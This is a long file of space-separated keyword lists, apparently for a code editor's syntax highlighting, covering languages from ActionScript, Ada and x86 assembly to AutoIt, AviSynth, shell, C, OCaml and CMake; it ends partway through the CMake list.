bandwidth blockIndent bold border borderColor bottomScroll bufferLenght bufferTime builtInItems bullet bytesLoaded bytesTotal callee caller capabilities caption childNodes color condenseWhite contentType currentFps customItems data deblocking docTypeDecl duration embedFonts enabled exactSettings firstChild focusEnabled font fps gain globalStyleFormat hasAccessibility hasAudio hasAudioEncoder hasEmbeddedVideo hasMP3 hasPrinting hasScreenBroadcast hasScreenPlayback hasStreamingAudio hasStreamingVideo hasVideoEncoder height hitArea hscroll html htmlText indent index italic instanceof int ignoreWhite isDebugger isFinite language lastChild leading leftMargin length loaded localFileReadDisable manufacturer maxChars maxhscroll maxscroll menu message motionLevel motionTimeout mouseWheelEnabled multiline muted name names NaN nextSibling nodeName nodeType nodeValue os parentNode password pixelAspectRatio playerType previousSibling prototype quality rate restrict resolutionX resolutionY rightMargin scaleMode screenColor screenDPI screenResolutionX screenResolutionY scroll selectable separatorBefore showMenu size smoothing status styleSheet tabChildren tabEnabled tabIndex tabStops target targetPath text textColor textHeight textWidth time trackAsMenu type underline url useCodepage useHandCursor variable version visible width wordWrap xmlDecl + + + abort abs abstract accept access aliased all and array at begin body case constant declare delay delta digits do else elsif end entry exception exit for function generic goto if in interface is limited loop mod new not null of or others out overriding package pragma private procedure protected raise range record rem renames requeue return reverse select separate some subtype synchronized tagged task terminate then type until use when while with xor + + + aaa aad aam aas adc add and call cbw cdqe clc cld cli cmc cmp cmps cmpsb cmpsw cwd daa das dec div esc hlt idiv imul in inc int into iret ja jae jb jbe jc jcxz je jg jge jl jle jmp jna jnae jnb jnbe jnc jne jng jnge jnl jnle jno jnp jns jnz jo jp jpe jpo js jz lahf lds lea les lods lodsb lodsw loop loope loopew loopne loopnew loopnz loopnzw loopw loopz loopzw mov movabs movs movsb movsw mul neg nop not or out pop popf push pushf rcl rcr ret retf retn rol ror sahf sal sar sbb scas scasb scasw shl shr stc std sti stos stosb stosw sub test wait xchg xlat xlatb xor bound enter ins insb insw leave outs outsb outsw popa pusha pushw arpl lar lsl sgdt sidt sldt smsw str verr verw clts lgdt lidt lldt lmsw ltr bsf bsr bt btc btr bts cdq cmpsd cwde insd iretd iretdf iretf jecxz lfs lgs lodsd loopd looped loopned loopnzd loopzd lss movsd movsx movsxd movzx outsd popad popfd pushad pushd pushfd scasd seta setae setb setbe setc sete setg setge setl setle setna setnae setnb setnbe setnc setne setng setnge setnl setnle setno setnp setns setnz seto setp setpe setpo sets setz shld shrd stosd bswap cmpxchg invd invlpg wbinvd xadd lock rep repe repne repnz repz cflush cpuid emms femms cmovo cmovno cmovb cmovc cmovnae cmovae cmovnb cmovnc cmove cmovz cmovne cmovnz cmovbe cmovna cmova cmovnbe cmovs cmovns cmovp cmovpe cmovnp cmovpo cmovl cmovnge cmovge cmovnl cmovle cmovng cmovg cmovnle cmpxchg486 cmpxchg8b loadall loadall286 ibts icebp int1 int3 int01 int03 iretw popaw popfw pushaw pushfw rdmsr rdpmc rdshr rdtsc rsdc rsldt rsm rsts salc smi smint smintold svdc svldt svts syscall sysenter sysexit sysret ud0 ud1 ud2 umov xbts wrmsr wrshr + f2xm1 fabs fadd faddp fbld fbstp fchs fclex fcom fcomp fcompp fdecstp fdisi fdiv fdivp fdivr fdivrp feni ffree fiadd ficom ficomp fidiv fidivr fild fimul fincstp finit fist fistp fisub fisubr fld fld1 fldcw fldenv fldenvw fldl2e fldl2t fldlg2 fldln2 fldpi fldz fmul fmulp fnclex fndisi fneni fninit fnop fnsave fnsavew fnstcw fnstenv fnstenvw fnstsw fpatan fprem fptan frndint frstor frstorw fsave fsavew fscale fsqrt fst fstcw fstenv fstenvw fstp fstsw fsub fsubp fsubr fsubrp ftst fwait fxam fxch fxtract fyl2x fyl2xp1 fsetpm fcos fldenvd fnsaved fnstenvd fprem1 frstord fsaved fsin fsincos fstenvd fucom fucomp fucompp fcomi fcomip ffreep fcmovb fcmove fcmovbe fcmovu fcmovnb fcmovne fcmovnbe fcmovnu + ah al ax bh bl bp bx ch cl cr0 cr2 cr3 cr4 cs cx dh di dl dr0 dr1 dr2 dr3 dr6 dr7 ds dx eax ebp ebx ecx edi edx es esi esp fs gs rax rbx rcx rdx rdi rsi rbp rsp r8 r9 r10 r11 r12 r13 r14 r15 r8d r9d r10d r11d r12d r13d r14d r15d r8w r9w r10w r11w r12w r13w r14w r15w r8b r9b r10b r11b r12b r13b r14b r15b si sp ss st tr3 tr4 tr5 tr6 tr7 st0 st1 st2 st3 st4 st5 st6 st7 mm0 mm1 mm2 mm3 mm4 mm5 mm6 mm7 xmm0 xmm1 xmm2 xmm3 xmm4 xmm5 xmm6 xmm7 xmm8 xmm9 xmm10 xmm11 xmm12 xmm13 xmm14 xmm15 + .186 .286 .286c .286p .287 .386 .386c .386p .387 .486 .486p .8086 .8087 .alpha .break .code .const .continue .cref .data .data? .dosseg .else .elseif .endif .endw .err .err1 .err2 .errb .errdef .errdif .errdifi .erre .erridn .erridni .errnb .errndef .errnz .exit .fardata .fardata? .if .lall .lfcond .list .listall .listif .listmacro .listmacroall .model .no87 .nocref .nolist .nolistif .nolistmacro .radix .repeat .sall .seq .sfcond .stack .startup .tfcond .type .until .untilcxz .while .xall .xcref .xlist alias align assume catstr comm comment db dd df dosseg dq dt dup dw echo else elseif elseif1 elseif2 elseifb elseifdef elseifdif elseifdifi elseife elseifidn elseifidni elseifnb elseifndef end endif endm endp ends eq equ even exitm extern externdef extrn for forc ge goto group gt high highword if if1 if2 ifb ifdef ifdif ifdifi ife ifidn ifidni ifnb ifndef include includelib instr invoke irp irpc label le length lengthof local low lowword lroffset lt macro mask mod .msfloat name ne offset opattr option org %out page popcontext proc proto ptr public purge pushcontext record repeat rept seg segment short size sizeof sizestr struc struct substr subtitle subttl textequ this title type typedef union while width resb resw resd resq rest incbin times %define %idefine %xdefine %xidefine %undef %assign %iassign %strlen %substr %macro %imacro %endmacro %rotate %if %elif %else %endif %ifdef %ifndef %elifdef %elifndef %ifmacro %ifnmacro %elifmacro %elifnmacro %ifctk %ifnctk %elifctk %elifnctk %ifidn %ifnidn %elifidn %elifnidn %ifidni %ifnidni %elifidni %elifnidni %ifid %ifnid %elifid %elifnid %ifstr %ifnstr %elifstr %elifnstr %ifnum %ifnnum %elifnum %elifnnum %error %rep %endrep %exitrep %include %push %pop %repl endstruc istruc at iend alignb %arg %stacksize %local %line bits use16 use32 section absolute global common cpu import export + $ ? @b @f addr basic byte c carry? dword far far16 fortran fword near near16 overflow? parity? pascal qword real4 real8 real10 sbyte sdword sign? stdcall sword syscall tbyte vararg word zero? flat near32 far32 abs all assumes at casemap common compact cpu dotname emulator epilogue error export expr16 expr32 farstack forceframe huge language large listing ljmp loadds m510 medium memory nearstack nodotname noemulator nokeyword noljmp nom510 none nonunique nooldmacros nooldstructs noreadonly noscoped nosignextend nothing notpublic oldmacros oldstructs os_dos para private prologue radix readonly req scoped setif2 smallstack tiny use16 use32 uses a16 a32 o16 o32 nosplit $$ seq wrt small .text .data .bss %0 %1 %2 %3 %4 %5 %6 %7 %8 %9 + addpd addps addsd addss andpd andps andnpd andnps cmpeqpd cmpltpd cmplepd cmpunordpd cmpnepd cmpnltpd cmpnlepd cmpordpd cmpeqps cmpltps cmpleps cmpunordps cmpneps cmpnltps cmpnleps cmpordps cmpeqsd cmpltsd cmplesd cmpunordsd cmpnesd cmpnltsd cmpnlesd cmpordsd cmpeqss cmpltss cmpless cmpunordss cmpness cmpnltss cmpnless cmpordss comisd comiss cvtdq2pd cvtdq2ps cvtpd2dq cvtpd2pi cvtpd2ps cvtpi2pd cvtpi2ps cvtps2dq cvtps2pd cvtps2pi cvtss2sd cvtss2si cvtsd2si cvtsd2ss cvtsi2sd cvtsi2ss cvttpd2dq cvttpd2pi cvttps2dq cvttps2pi cvttsd2si cvttss2si divpd divps divsd divss fxrstor fxsave ldmxscr lfence mfence maskmovdqu maskmovdq maxpd maxps paxsd maxss minpd minps minsd minss movapd movaps movdq2q movdqa movdqu movhlps movhpd movhps movd movq movlhps movlpd movlps movmskpd movmskps movntdq movnti movntpd movntps movntq movq2dq movsd movss movupd movups mulpd mulps mulsd mulss orpd orps packssdw packsswb packuswb paddb paddsb paddw paddsw paddd paddsiw paddq paddusb paddusw pand pandn pause paveb pavgb pavgw pavgusb pdistib pextrw pcmpeqb pcmpeqw pcmpeqd pcmpgtb pcmpgtw pcmpgtd pf2id pf2iw pfacc pfadd pfcmpeq pfcmpge pfcmpgt pfmax pfmin pfmul pmachriw pmaddwd pmagw pmaxsw pmaxub pminsw pminub pmovmskb pmulhrwc pmulhriw pmulhrwa pmulhuw pmulhw pmullw pmuludq pmvzb pmvnzb pmvlzb pmvgezb pfnacc pfpnacc por prefetch prefetchw prefetchnta prefetcht0 prefetcht1 prefetcht2 pfrcp pfrcpit1 pfrcpit2 pfrsqit1 pfrsqrt pfsub pfsubr pi2fd pinsrw psadbw pshufd pshufhw pshuflw pshufw psllw pslld psllq pslldq psraw psrad psrlw psrld psrlq psrldq psubb psubw psubd psubq psubsb psubsw psubusb psubusw psubsiw pswapd punpckhbw punpckhwd punpckhdq punpckhqdq punpcklbw punpcklwd punpckldq punpcklqdq pxor rcpps rcpss rsqrtps rsqrtss sfence shufpd shufps sqrtpd sqrtps sqrtsd sqrtss stmxcsr subpd subps subsd subss ucomisd ucomiss unpckhpd unpckhps unpcklpd unpcklps xorpd xorps + + + ACCESS AGENT AUGMENTS BEGIN BITS CAPABILITIES CHOICE COMPLIANCE CONTACT CONVENTION DEFINITIONS DEFVAL DESCRIPTION DISPLAY END ENTERPRISE EXPORTS FALSE FROM GROUP GROUPS HINT IDENTITY IMPLIED IMPORTS INCLUDES INDEX INFO LAST MANDATORY MAX MIN MODULE NOTATION NOTIFICATION NULL OBJECTS OBJECT-TYPE OF ORGANIZATION PRODUCT RELEASE REFERENCE REQUIRES REVISION SEQUENCE SIZE STATUS SUPPORTS SYNTAX TEXTUAL TRAP TYPE TRAP-TYPE UPDATED VALUE VARIABLES VARIATION WRITE + accessible create current deprecated for mandatory not notify not-accessible obsolete only optional read read-only read-write write + ABSENT ANY APPLICATION BIT BOOLEAN BY COMPONENT COMPONENTS DEFAULT DEFINED ENUMERATED EXPLICIT EXTERNAL IMPLICIT INIFINITY MAX MIN MINUS OPTIONAL PRESENT PRIVATE REAL SET TAGS TRUE + Counter Counter32 Counter64 DisplayString Gauge Gauge32 IDENTIFIER INTEGER Integer32 IpAddress NetworkAddress NsapAddress OBJECT OCTET Opaque PhysAddress STRING TimeTicks UInteger32 UNITS Unsigned32 + + + addhandler addressof andalso alias and ansi as assembly attribute auto begin boolean byref byte byval call case catch cbool cbyte cchar cdate cdec cdbl char cint class clng cobj compare const continue cshort csng cstr ctype currency date decimal declare default delegate dim do double each else elseif end enum erase error event exit explicit false finally for friend function get gettype global gosub goto handles if implement implements imports in inherits integer interface is let lib like load long loop lset me mid mod module mustinherit mustoverride mybase myclass namespace new next not nothing notinheritable notoverridable object on option optional or orelse overloads overridable overrides paramarray preserve private property protected public raiseevent readonly redim rem removehandler rset resume return select set shadows shared short single static step stop string structure sub synclock then throw to true try type typeof unload unicode until variant wend when while with withevents writeonly xor + + + and byref case const continuecase continueloop default dim do else elseif endfunc endif endselect endswitch enum exit exitloop false for func global if in local next not null or redim return select static step switch then to true until wend while + abs acos adlibdisable adlibenable asc asin atan autoitsetoption autoitwingettitle autoitwinsettitle bitand bitnot bitor bitshift bitxor blockinput break call cdtray chr clipget clipput controlclick controlcommand controldisable controlenable controlfocus controlgetfocus controlgetpos controlgettext controlhide controlmove controlsend controlsettext controlshow cos dec dircopy dircreate dirmove dirremove drivegetdrive drivegetfilesystem drivegetlabel drivegetserial drivegettype drivesetlabel drivespacefree drivespacetotal drivestatus envget envset envupdate eval exp filechangedir fileclose filecopy filecreateshortcut filedelete fileexists filefindfirstfile filefindnextfile filegetattrib filegetlongname filegetshortname filegetsize filegettime filegetversion fileinstall filemove fileopen fileopendialog fileread filereadline filerecycle filerecycleempty filesavedialog fileselectfolder filesetattrib filesettime filewrite filewriteline guicreate guicreateex guidefaultfont guidelete guigetcontrolstate guihide guimsg guiread guirecvmsg guisendmsg guisetcontrol guisetcontroldata guisetcontrolex guisetcontrolfont guisetcontrolnotify guisetcoord guisetcursor guishow guiwaitclose guiwrite hex hotkeyset inidelete iniread iniwrite inputbox int isadmin isarray isdeclared isfloat isint isnumber isstring log memgetstats mod mouseclick mouseclickdrag mousedown mousegetcursor mousegetpos mousemove mouseup mousewheel msgbox number pixelchecksum pixelgetcolor pixelsearch processclose processexists processsetpriority processwait processwaitclose progressoff progresson progressset random regdelete regenumkey regenumval regread regwrite round run runasset runwait send seterror shutdown sin sleep soundplay soundsetwavevolume splashimageon splashoff splashtexton sqrt statusbargettext string stringaddcr stringformat stringinstr stringisalnum stringisalpha stringisascii stringisdigit stringisfloat stringisint stringislower stringisspace stringisupper stringisxdigit stringleft stringlen stringlower stringmid stringreplace stringright stringsplit stringstripcr stringstripws stringtrimleft stringtrimright stringupper tan timerstart timerstop tooltip traytip ubound urldownloadtofile winactivate winactive winclose winexists wingetcaretpos wingetclasslist wingetclientsize wingethandle wingetpos wingetstate wingettext wingettitle winkill winmenuselectitem winminimizeall winminimizeallundo winmove winsetontop winsetstate winsettitle winwait winwaitactive winwaitclose winwaitnotactive + @appdatacommondir @appdatadir @autoitversion @commonfilesdir @compiled @computername @comspec @cr @crlf @desktopcommondir @desktopdir @desktopheight @desktopwidth @documentscommondir @error @favoritescommondir @favoritesdir @homedrive @homepath @homeshare @hour @ipaddress1 @ipaddress2 @ipaddress3 @ipaddress4 @lf @logondnsdomain @logondomain @logonserver @mday @min @mon @mydocumentsdir @osbuild @oslang @osservicepack @ostype @osversion @programfilesdir @programscommondir @programsdir @scriptdir @scriptfullpath @scriptname @sec @startmenucommondir @startmenudir @startupcommondir @startupdir @sw_hide @sw_maximize @sw_minimize @sw_restore @sw_show @systemdir @tab @tempdir @userprofiledir @username @wday @windowsdir @workingdir @yday @year + {!} {#} {^} {{} {}} {+} {alt} {altdown} {altup} {appskey} {asc} {backspace} {browser_back} {browser_favorites} {browser_forward} {browser_home} {browser_refresh} {browser_search} {browser_stop} {bs} {capslock} {ctrlbreak} {ctrldown} {ctrlup} {del} {delete} {down} {end} {enter} {esc} {escape} {f1} {f10} {f11} {f12} {f2} {f3} {f4} {f5} {f6} {f7} {f8} {f9} {home} {ins} {insert} {lalt} {launch_app1} {launch_app2} {launch_mail} {launch_media} {lctrl} {left} {lshift} {lwin} {lwindown} {media_next} {media_play_pause} {media_prev} {media_stop} {numlock} {numpad0} {numpad1} {numpad2} {numpad3} {numpad4} {numpad5} {numpad6} {numpad7} {numpad8} {numpad9} {numpadadd} {numpaddiv} {numpaddot} {numpadenter} {numpadmult} {numpadsub} {pause} {pgdn} {pgup} {printscreen} {ralt} {rctrl} {right} {rshift} {rwin} {rwindown} {scrolllock} {shiftdown} {shiftup} {sleep} {space} {tab} {up} {volume_down} {volume_mute} {volume_up} + #include #include-once + #region #endregion + + + + true false return global + addborders alignedsplice amplify amplifydb animate applyrange assumebff assumefieldbased assumefps assumeframebased assumesamplerate assumescaledfps assumetff audiodub audiodubex avifilesource avisource bicubicresize bilinearresize blackmanresize blackness blankclip blur bob cache changefps colorbars colorkeymask coloryuv compare complementparity conditionalfilter conditionalreader convertaudio convertaudioto16bit convertaudioto24bit convertaudioto32bit convertaudioto8bit convertaudiotofloat convertbacktoyuy2 convertfps converttobackyuy2 converttomono converttorgb converttorgb24 converttorgb32 converttoy8 converttoyv16 converttoyv24 converttoyv411 converttoyuy2 converttoyv12 crop cropbottom delayaudio deleteframe dissolve distributor doubleweave duplicateframe ensurevbrmp3sync fadein fadein0 fadein2 fadeio fadeio0 fadeio2 fadeout fadeout0 fadeout2 fixbrokenchromaupsampling fixluminance fliphorizontal flipvertical frameevaluate freezeframe gaussresize generalconvolution getchannel getchannels getmtmode getparity grayscale greyscale histogram horizontalreduceby2 imagereader imagesource imagewriter info interleave internalcache internalcachemt invert killaudio killvideo lanczos4resize lanczosresize layer letterbox levels limiter loop mask maskhs max merge mergeargb mergechannels mergechroma mergeluma mergergb messageclip min mixaudio monotostereo normalize null opendmlsource overlay peculiarblend pointresize pulldown reduceby2 resampleaudio resetmask reverse rgbadjust scriptclip segmentedavisource segmenteddirectshowsource selecteven selectevery selectodd selectrangeevery separatefields setmtmode sharpen showalpha showblue showfiveversions showframenumber showgreen showred showsmpte showtime sincresize skewrows spatialsoften spline16resize spline36resize spline64resize ssrc stackhorizontal stackvertical subtitle subtract supereq swapfields swapuv temporalsoften timestretch tone trim turn180 turnleft turnright tweak unalignedsplice utoy utoy8 version verticalreduceby2 vtoy vtoy8 wavsource weave writefile writefileend writefileif writefilestart ytouv + addgrain addgrainc agc_hdragc analyzelogo animeivtc asharp audiograph autocrop autoyuy2 avsrecursion awarpsharp bassaudiosource bicublinresize bifrost binarize blendfields blindpp blockbuster bordercontrol cfielddiff cframediff chromashift cnr2 colormatrix combmask contra convolution3d convolution3dyv12 dctfilter ddcc deblendlogo deblock deblock_qed decimate decomb dedup deen deflate degrainmedian depan depanestimate depaninterleave depanscenes depanstabilize descratch despot dfttest dgbob dgsource directshowsource distancefunction dss2 dup dupmc edeen edgemask ediupsizer eedi2 eedi3 eedi3_rpow2 expand faerydust fastbicubicresize fastbilinearresize fastediupsizer dedgemask fdecimate ffaudiosource ffdshow ffindex ffmpegsource ffmpegsource2 fft3dfilter fft3dgpu ffvideosource fielddeinterlace fielddiff fillmargins fity2uv fity2u fity2v fitu2y fitv2y fluxsmooth fluxsmoothst fluxsmootht framediff framenumber frfun3b frfun7 gicocu golddust gradfun2db grapesmoother greedyhma grid guavacomb hqdn3d hybridfupp hysteresymask ibob improvesceneswitch inflate inpand inpaintlogo interframe interlacedresize interlacedwarpedresize interleaved2planar iscombed iscombedt iscombedtivtc kerneldeint leakkernelbob leakkerneldeint limitedsharpen limitedsharpenfaster logic lsfmod lumafilter lumayv12 manalyse maskeddeinterlace maskedmerge maskedmix mblockfps mcompensate mctemporaldenoise mctemporaldenoisepp mdegrain1 mdegrain2 mdegrain3 mdepan medianblur mergehints mflow mflowblur mflowfps mflowinter minblur mipsmooth mmask moderatesharpen monitorfilter motionmask mpasource mpeg2source mrecalculate mscdetection msharpen mshow msmooth msu_fieldshiftfixer msu_frc msuper mt mt_adddiff mt_average mt_binarize mt_circle mt_clamp mt_convolution mt_deflate mt_diamond mt_edge mt_ellipse mt_expand mt_freeellipse mt_freelosange mt_freerectangle mt_hysteresis mt_infix mt_inflate mt_inpand mt_invert mt_logic mt_losange mt_lut mt_lutf mt_luts mt_lutspa mt_lutsx mt_lutxy mt_lutxyz mt_makediff mt_mappedblur mt_merge mt_motion mt_polish mt_rectangle mt_square mti mtsource multidecimate mvanalyse mvblockfps mvchangecompensate mvcompensate mvdegrain1 mvdegrain2 mvdegrain3 mvdenoise mvdepan mvflow mvflowblur mvflowfps mvflowfps2 mvflowinter mvincrease mvmask mvrecalculate mvscdetection mvshow nicac3source nicdtssource niclpcmsource nicmpasource nicmpg123source nnedi nnedi2 nnedi2_rpow2 nnedi3 nnedi3_rpow2 nomosmooth overlaymask peachsmoother pixiedust planar2interleaved qtgmc qtinput rawavsource rawsource reduceflicker reinterpolate411 removedirt removedust removegrain removegrainhd removetemporalgrain repair requestlinear reversefielddominance rgb3dlut rgdeinterlace rgsdeinterlace rgblut rotate sangnom seesaw sharpen2 showchannels showcombedtivtc smartdecimate smartdeinterlace smdegrain smoothdeinterlace smoothuv soothess soxfilter spacedust sshiq ssim ssiq stmedianfilter t3dlut tanisotropic tbilateral tcanny tcomb tcombmask tcpserver tcpsource tdecimate tdeint tedgemask telecide temporalcleaner temporalrepair temporalsmoother tfieldblank tfm tisophote tivtc tmaskblank tmaskedmerge tmaskedmerge3 tmm tmonitor tnlmeans tomsmocomp toon textsub ttempsmooth ttempsmoothf tunsharp unblock uncomb undot unfilter unsharpmask vaguedenoiser variableblur verticalcleaner videoscope vinverse vobsub vqmcalc warpedresize warpsharp xsharpen yadif yadifmod yuy2lut yv12convolution yv12interlacedreduceby2 yv12interlacedselecttopfields yv12layer yv12lut yv12lutxy yv12substract yv12torgb24 yv12toyuy2 + abs apply assert bool ceil chr clip continueddenominator continuednumerator cos default defined eval averagechromau averagechromav averageluma chromaudifference chromavdifference lumadifference exist exp findstr float floor frac hexvalue import int isbool isclip isfloat isint isstring lcase leftstr load_stdcall_plugin loadcplugin loadplugin loadvfapiplugin loadvirtualdubplugin log midstr muldiv nop opt_allowfloataudio opt_avipadscanlines opt_dwchannelmask opt_usewaveextensible opt_vdubplanarhack pi pow rand revstr rightstr round scriptdir scriptfile scriptname select setmemorymax setplanarlegacyalignment rgbdifference rgbdifferencefromprevious rgbdifferencetonext udifferencefromprevious udifferencetonext setworkingdir sign sin spline sqrt string strlen time ucase undefined value versionnumber versionstring uplanemax uplanemedian uplanemin uplaneminmaxdifference vdifferencefromprevious vdifferencetonext vplanemax vplanemedian vplanemin vplaneminmaxdifference ydifferencefromprevious ydifferencetonext yplanemax yplanemedian yplanemin yplaneminmaxdifference + audiobits audiochannels audiolength audiolengthf audiorate framecount framerate frameratedenominator frameratenumerator getleftchannel getrightchannel hasaudio hasvideo height isaudiofloat isaudioint isfieldbased isframebased isinterleaved isplanar isrgb isrgb24 isrgb32 isyuv isyuy2 isyv12 width + + + + + alike all and array as asc at avg base based between boolean both break bset buffer by call case cast chart clear clearunref common const continue count cross current_date current_timestamp date date.num date.to.num debug default delete deleteempty deleteerror desc dim distinct dll dllusage domain double else empty end endcase enddelete enddllusage endfor endfunctionusage endif endselect endupdate endwhile enum_description eq escape exists extern false fatal fetching field first fixed for from full function functionusage ge global goto group gt having hint hints if in include index inner input inrange integer is join label last le leading left like long lt max mb menu message min multibyte ne no nodebug not notransactions nowarnings null on or order ordered outer path pi prepared print prompt question raw real ref reference refers repeat retry return right row rows select selectbind selectdo selectempty selecteos selecterror session set setunref size skip static step sticky stop strict_boolean string subhint sum table text_content then timestamp to trailing trim true union unref until update updateempty updateerror use used void warning warnings when where wherebind whereused while with + + abort abort.io db.after.delete db.after.insert db.after.update xmlSetData zoom.to$ + + + 7z adduser alias apt-get ar as asa autoconf automake awk banner base64 basename bash bc bdiff blkid break bsdcpio bsdtar bunzip2 bzcmp bzdiff bzegrep bzfgrep bzgrep bzip2 bzip2recover bzless bzmore c++ cal calendar case cat cc cd cfdisk chattr chgrp chmod chown chroot chvt cksum clang clang++ clear cmp col column comm compgen compress continue convert cp cpio crontab crypt csplit ctags curl cut date dc dd deallocvt declare deluser depmod deroff df dialog diff diff3 dig dircmp dirname disown dmesg do done dpkg dpkg-deb du echo ed egrep elif else env esac eval ex exec exit expand export expr fakeroot false fc fdisk ffmpeg fgrep fi file find flex flock fmt fold for fsck function functions fuser fusermount g++ gas gawk gcc gdb genisoimage getconf getopt getopts git gpg gpgsplit gpgv grep gres groff groups gunzip gzexe hash hd head help hexdump hg history httpd iconv id if ifconfig ifdown ifquery ifup in insmod integer inxi ip ip6tables ip6tables-save ip6tables-restore iptables iptables-save iptables-restore ip jobs join kill killall killall5 lc ld ldd let lex line ln local logname look ls lsattr lsb_release lsblk lscpu lshw lslocks lsmod lsusb lzcmp lzegrep lzfgrep lzgrep lzless lzma lzmainfo lzmore m4 mail mailx make man mkdir mkfifo mkswap mktemp modinfo modprobe mogrify more mount msgfmt mt mv nameif nasm nc ndisasm netcat newgrp nl nm nohup ntps objdump od openssl p7zip pacman passwd paste patch pathchk pax pcat pcregrep pcretest perl pg ping ping6 pivot_root poweroff pr print printf ps pwd python python2 python3 ranlib read readlink readonly reboot reset return rev rm rmdir rmmod rpm rsync sed select service set sh sha1sum sha224sum sha256sum sha3sum sha512sum shift shred shuf shutdown size sleep sort spell split start stop strings strip stty su sudo sum suspend switch_root sync systemctl tac tail tar tee test then time times touch tr trap troff true tsort tty type typeset ulimit umask umount unalias uname uncompress unexpand uniq unlink unlzma unset until unzip unzipsfx useradd userdel uudecode uuencode vi vim wait wc wget whence which while who wpaste wstart xargs xdotool xxd xz xzcat xzcmp xzdiff xzfgrep xzgrep xzless xzmore yes yum zcat zcmp zdiff zegrep zfgrep zforce zgrep zless zmore znew zsh + + + assoc aux break call cd chcp chdir choice cls cmdextversion color com com1 com2 com3 com4 con copy country ctty date defined del dir do dpath echo else endlocal erase errorlevel exist exit for ftype goto if in loadfix loadhigh lpt lpt1 lpt2 lpt3 lpt4 md mkdir move not nul path pause popd prn prompt pushd rd rem ren rename rmdir set setlocal shift start time title type ver verify vol + + + abs accepttcpstream acos after and apptitle asc asin atan atan2 automidhandle autosuspend availvidmem backbuffer banksize before bin calldll case ceil changedir channelpan channelpitch channelplaying channelvolume chr closedir closefile closemovie closetcpserver closetcpstream closeudpstream cls clscolor color colorblue colorgreen colorred commandline const copybank copyfile copyimage copypixel copypixelfast copyrect copystream cos countgfxdrivers countgfxmodes counthostips createbank createdir createimage createnetplayer createprocess createtcpserver createtimer createudpstream currentdate currentdir currenttime data debuglog default delay delete deletedir deletefile deletenetplayer desktopbuffer dim dottedip drawblock drawblockrect drawimage drawimagerect drawmovie each else else if elseif end end function end if end select end type endgraphics endif eof execfile exit exp false field filepos filesize filetype first flip float floor flushjoy flushkeys flushmouse fontheight fontname fontsize fontstyle fontwidth for forever freebank freefont freeimage freesound freetimer frontbuffer function gammablue gammagreen gammared getcolor getenv getkey getmouse gfxdrivername gfxmodedepth gfxmodeexists gfxmodeformat gfxmodeheight gfxmodewidth global gosub goto grabimage graphics graphicsbuffer graphicsdepth graphicsformat graphicsheight graphicswidth handleimage hex hidepointer hostip hostnetgame if imagebuffer imageheight imagerectcollide imagerectoverlap imagescollide imagesoverlap imagewidth imagexhandle imageyhandle include input insert instr int joinnetgame joydown joyhat joyhit joypitch joyroll joytype joyu joyudir joyv joyvdir joyx joyxdir joyy joyyaw joyydir joyz joyzdir keydown keyhit keywait last left len line loadanimimage loadbuffer loadfont loadimage loadsound local lockbuffer lockedformat lockedpitch lockedpixels log log10 loopsound lower lset maskimage mid midhandle millisecs mod morefiles mousedown mousehit mousex mousexspeed mousey mouseyspeed mousez mousezspeed movemouse movieheight movieplaying moviewidth netmsgdata netmsgfrom netmsgto netmsgtype netplayerlocal netplayername new next nextfile not null openfile openmovie opentcpstream or origin oval pausechannel pausetimer peekbyte peekfloat peekint peekshort pi playcdtrack playmusic playsound plot pokebyte pokefloat pokeint pokeshort print queryobject rand read readavail readbyte readbytes readdir readfile readfloat readint readline readpixel readpixelfast readshort readstring rect rectsoverlap recvnetmsg recvudpmsg repeat replace resettimer resizebank resizeimage restore resumechannel resumetimer return right rnd rndseed rotateimage rset runtimeerror sar savebuffer saveimage scaleimage scanline seedrnd seekfile select sendnetmsg sendudpmsg setbuffer setenv setfont setgamma setgfxdriver sgn shl showpointer shr sin soundpan soundpitch soundvolume sqr startnetgame step stop stopchannel stopnetgame str string stringheight stringwidth systemproperty tan tcpstreamip tcpstreamport tcptimeouts text tformfilter tformimage then tileblock tileimage timerticks to totalvidmem trim true type udpmsgip udpmsgport udpstreamip udpstreamport udptimeouts unlockbuffer until updategamma upper viewport vwait waitkey waitmouse waittimer wend while write writebyte writebytes writefile writefloat writeint writeline writepixel writepixelfast writeshort writestring xor + + + + + + if else switch case default break goto return for while do continue typedef sizeof NULL + void struct union enum char short int long double float signed unsigned const static extern auto register volatile bool uint8_t uint16_t uint32_t uint64_t int8_t int16_t int32_t int64_t size_t time_t clock_t wchar_t FILE + + + and as assert asr begin class constraint do done downto else end exception external false for fun function functor if in include inherit initializer land lazy let lor lsl lsr lxor match method mod module mutable new object of open or private rec sig struct then to true try type val virtual when while with + option Some None ignore ref lnot succ pred + array bool char float int list string unit + + + add_custom_command add_custom_target add_definitions add_dependencies add_executable add_library add_subdirectory add_test aux_source_directory build_command build_name cmake_minimum_required configure_file create_test_sourcelist else elseif enable_language enable_testing endforeach endif endmacro endwhile exec_program execute_process export_library_dependencies file find_file find_library find_package find_path find_program fltk_wrap_ui foreach get_cmake_property get_directory_property get_filename_component get_source_file_property get_target_property get_test_property if include include_directories include_external_msproject include_regular_expression install install_files install_programs install_targets link_directories link_libraries list load_cache load_command macro make_directory mark_as_advanced math message option output_required_files project qt_wrap_cpp qt_wrap_ui remove remove_definitions separate_arguments set set_directory_properties set_source_files_properties set_target_properties set_tests_properties site_name source_group string subdir_depends subdirs target_link_libraries try_compile try_run use_mangled_mesa utility_source variable_requires vtk_make_instantiator vtk_wrap_java vtk_wrap_python vtk_wrap_tcl while write_file + ABSOLUTE ABSTRACT ADDITIONAL_MAKE_CLEAN_FILES ALL AND APPEND ARGS ASCII BEFORE CACHE CACHE_VARIABLES CLEAR COMMAND COMMANDS COMMAND_NAME COMMENT COMPARE COMPILE_FLAGS COPYONLY DEFINED DEFINE_SYMBOL DEPENDS DOC EQUAL ESCAPE_QUOTES EXCLUDE EXCLUDE_FROM_ALL EXISTS EXPORT_MACRO EXT EXTRA_INCLUDE FATAL_ERROR FILE FILES FORCE FUNCTION GENERATED GLOB GLOB_RECURSE GREATER GROUP_SIZE HEADER_FILE_ONLY HEADER_LOCATION IMMEDIATE INCLUDES INCLUDE_DIRECTORIES INCLUDE_INTERNALS INCLUDE_REGULAR_EXPRESSION LESS LINK_DIRECTORIES LINK_FLAGS LOCATION MACOSX_BUNDLE MACROS MAIN_DEPENDENCY MAKE_DIRECTORY MATCH MATCHALL MATCHES MODULE NAME NAME_WE NOT NOTEQUAL NO_SYSTEM_PATH OBJECT_DEPENDS OPTIONAL OR OUTPUT OUTPUT_VARIABLE PATH PATHS POST_BUILD POST_INSTALL_SCRIPT PREFIX PREORDER PRE_BUILD 